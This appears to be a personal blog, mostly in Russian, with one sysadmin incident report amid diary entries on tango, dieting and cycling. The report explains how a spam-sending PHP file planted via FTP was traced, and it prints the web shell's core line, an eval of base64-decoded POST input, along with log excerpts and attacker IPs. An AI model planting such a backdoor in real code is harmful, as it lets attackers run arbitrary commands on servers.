| cb6f82f3e4007bdaccf419abafab94c8 |
[Apr. 5th, 2013|08:51 pm] |
| [ | Current Mood |
| | working | ] |
| [ | Current Music |
| | Hybrid Leisureland - Division and composition | ] |
Очередной раз наспамили с одного из моих серверов.
Конструкция практически такая же, как в прошлый раз:
похоже (логов не сохранилось), что под пользовательским аккаунтом
через ftp залили файл следующего содержания в слегка закодированном виде
(оригинал см. по ссылке снизу):
if(isset($_POST["code"]))
{
eval(base64_decode($_POST["code"]));
}
Далее через этот файл несколько раз послали спама
на пару десятков тысяч адресов.
Обнаружил дырку spamcop.net, который пожаловался провайдеру,
а тот уже переслал нам. Обнаружил конкретный файл путем просмотра
error_log проскирующего nginx за время, когда в очереди исходящих писем
появилось первое задержанное письмо. Нашлась такая строка:
2013/03/01 16:05:14 [error] 3713#0: *19382 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 201.182.92.138, server: www.joomla.dev.DOMAIN.ru, reques
t: "POST /.e523.php HTTP/1.1", upstream: "http://127.0.0.159:80/.e523.php", host: "www.joomla.dev.DOMAIN.ru"
Имя файла показалось подозрительным, дальше все раскрутилось легко.
Обращения к вредоносному файлу делались со следующих ip адресов:
1) 201.182.92.138 (Панама)
2) 31.184.244.18 (Объединенные Арабские Эмираты)
Материалы:
1) .e523.php
2) листинг очереди sendmail
3) примеры писем из очереди: [1], [2], [3], [4], [5]
4) access_log веб-сервера
Единственный текст, похожий на идентификатор системы,
это закомментированный текст cb6f82f3e4007bdaccf419abafab94c8
в начале программы. Что означает, непонятно. Тридцать два
шестнадцатиричных символа. |
|
|
| Доступ ограничен |
[Jan. 27th, 2013|08:49 am] |
| [ | Current Mood |
| |  sleepy | ] |
| [ | Current Music |
| | Jonas Brothers - Can't Have You | ] |
Подключение через (стрим) мтс
Читать можно через google translate. |
|
|
| 2012 |
[Dec. 31st, 2012|12:54 pm] |
| [ | Current Mood |
| | awake | ] |
| [ | Current Music |
| | Tiësto – Driving To Heaven (Mat Zo Remix) | ] |
It has been one of those years when like after being
hit by a bus and staying alive by accident you recover
gradually with a little help from your friends
and try to avoid going out from a house
to avoid being hit again.
I haven't been much into anything, just studying tango
with my lovely teachers Oleg Kapusta and Natasha Zakharchuk,
and finally couple of weeks ago had my first official "show"
at the Bigwig Winter Weekend party with beautiful Dasha,
hugs and kisses to you sweet lady, love you:
http://www.youtube.com/watch?v=UzI21ERDAHY
This really feels to be leading somewhere,
meet you there, friends :-) |
|
|
| |
[Nov. 11th, 2012|11:02 am] |
| [ | Current Mood |
| | awake | ] |
| [ | Current Music |
| | Wamdue Project feat. Jonathan Mendelsohn - Forgiveness (Beach Angel 07 Mix) | ] |
 |
|
|
| бросил жрать |
[Nov. 10th, 2012|08:39 am] |
| [ | Current Mood |
| | in love | ] |
| [ | Current Music |
| | Mr. Mister - Kyrie | ] |
Чтобы зафиксировать факт: с 28 сентября,
например, по сегодняшний ушел с 89,9 до 76,1.
Секрет процедуры простой: бросил жрать.
Питание строго регламентировано: половина обычной
порции углеводов, никаких жиров, белки по минимуму,
фрукты и питье (в т.ч. сладкое) неограниченно
в пределах разумного.
Утром пол-порции творога со сладким сиропом,
в обед, пол-порции гречки, риса с любыми нежирными соусами,
вечером пол-порции того же.
До 80 переломался так, потом стал добавлять овощной салат,
теперь иногда полностью заменяю углеводы на нежирные белки
(курица, индейка, говядина).
Разумеется, бег, зарядка, прокачка пресса.
Самое заметное изменение: увеличенный промежуток
свежести разума и готовности действовать на протяжении дня
(раньше, когда жрал, после обеда обычно этого проходило). |
|
|
| while (*s++ = *t++) ; |
[Sep. 23rd, 2012|03:31 am] |
| [ | Current Mood |
| | sleepy | ] |
| [ | Current Music |
| | Lil Wayne – Lollipop (feat. Static Major) | ] |
Although this may seem cryptic at first sight,
the notational convenience is considerable,
and the idiom should be mastered, because
you will see it frequently
|
|
|
| |
[Sep. 19th, 2012|11:45 pm] |
| [ | Current Mood |
| | sleepy | ] |
| [ | Current Music |
| | Vangelis – Love Theme | ] |
Петр, сделайте потише, пожалуйста!
Соседка снизу |
|
|
| |
[Sep. 19th, 2012|01:05 am] |
| [ | Current Mood |
| | sleepy | ] |
| [ | Current Music |
| | BT – Love Theme | ] |
 |
|
|
| |
[Sep. 15th, 2012|10:52 am] |
| [ | Current Mood |
| | awake | ] |
| [ | Current Music |
| | Juan Carlos Caceres - Cafetin de Buenos Aires | ] |
 |
|
|
| |
[Sep. 1st, 2012|12:13 pm] |
| [ | Current Mood |
| | awake | ] |
| [ | Current Music |
| | The Cure - Friday I'm In Love | ] |
 |
|
|
| |
[Aug. 7th, 2012|10:19 pm] |
| [ | Current Mood |
| | sleepy | ] |
| [ | Current Music |
| | Delerium – Touched | ] |
 |
|
|
| |
[Jul. 15th, 2012|03:19 pm] |
| [ | Current Mood |
| | awake | ] |
| [ | Current Music |
| | Secede – Hospital Requiem | ] |
 |
|
|
| |
[Jun. 22nd, 2012|02:58 am] |
| [ | Current Mood |
| | sleepy | ] |
| [ | Current Music |
| | Enya - Deora Ar Mo Chroi | ] |
 |
|
|
| |
[May. 15th, 2012|08:51 am] |
| [ | Current Mood |
| | awake | ] |
| [ | Current Music |
| | George Acosta featuring Emma Lock - Falling Deep (Extended Mix) | ] |
 |
|
|
| имперцы в Краснодаре |
[May. 7th, 2012|01:23 pm] |
| [ | Current Mood |
| |  giggly | ] |
| [ | Current Music |
| | Kidz Bop Kids – Thriller | ] |
Гулял по Краснодару, мимо пробегали имперцы
и прибившиеся, кричали что-то типа "Россия для русских". |
|
|
| |
[May. 3rd, 2012|12:50 am] |
| [ | Current Mood |
| | sleepy | ] |
| [ | Current Music |
| | Gary Burton - Romance Del Diablo | ] |
 |
|
|
| |
[Apr. 28th, 2012|11:10 pm] |
| [ | Current Mood |
| | tired | ] |
| [ | Current Music |
| | Wham! – Last Christmas | ] |
Открыл велосипедный сезон.
Прокатился через Марьино до Сабуровских железнодорожных мостов
и обратно через Курьяново (прямо перед шлагбаумом в тупике
на Донецкой направо, через учебную площадку, по путям,
держаться правее, попадаешь в самое начало Шоссейной улицы).
Всю дорогу слушал last.fm на андроиде посредством aLastFM player,
изредка он затыкался, но почти нет. Скоро на last.fm должна появиться
звуковая реклама между песнями (как на youtube между роликами).
last.fm почему-то включил мне новогоднюю дискотеку
70-80-90-х, её я и слушал с большим удовольствием,
которая звучит свежо и ново на фоне Курьяново,
застрявшего в 50-х где-то, люблю.
Вернулся, принял душ, буду смотреть Покахонтас (первый раз),
а потом спать. Впереди три выходных дня. |
|
|
| |
[Apr. 25th, 2012|01:24 am] |
| [ | Current Music |
| | Jeroen Tel - Stranglehold | ] |
 |
|
|
| обнимать незнакомого человека |
[Apr. 23rd, 2012|10:44 pm] |
| [ | Current Music |
| | Airbase featuring Floria Ambra - Denial | ] |
Базовый курс это первый шаг, т.е. от участника
не требуется ничего, кроме вступительного взноса,
способности слушать и понимать русский язык (синхронный перевод),
удобной одежды и обуви, приятного запаха (не рабоче-крестьянского)
и минимальной готовности обнимать незнакомого человека
противоположного пола.
Забыл(а) как обнимать? Он напомнит. |
|
|
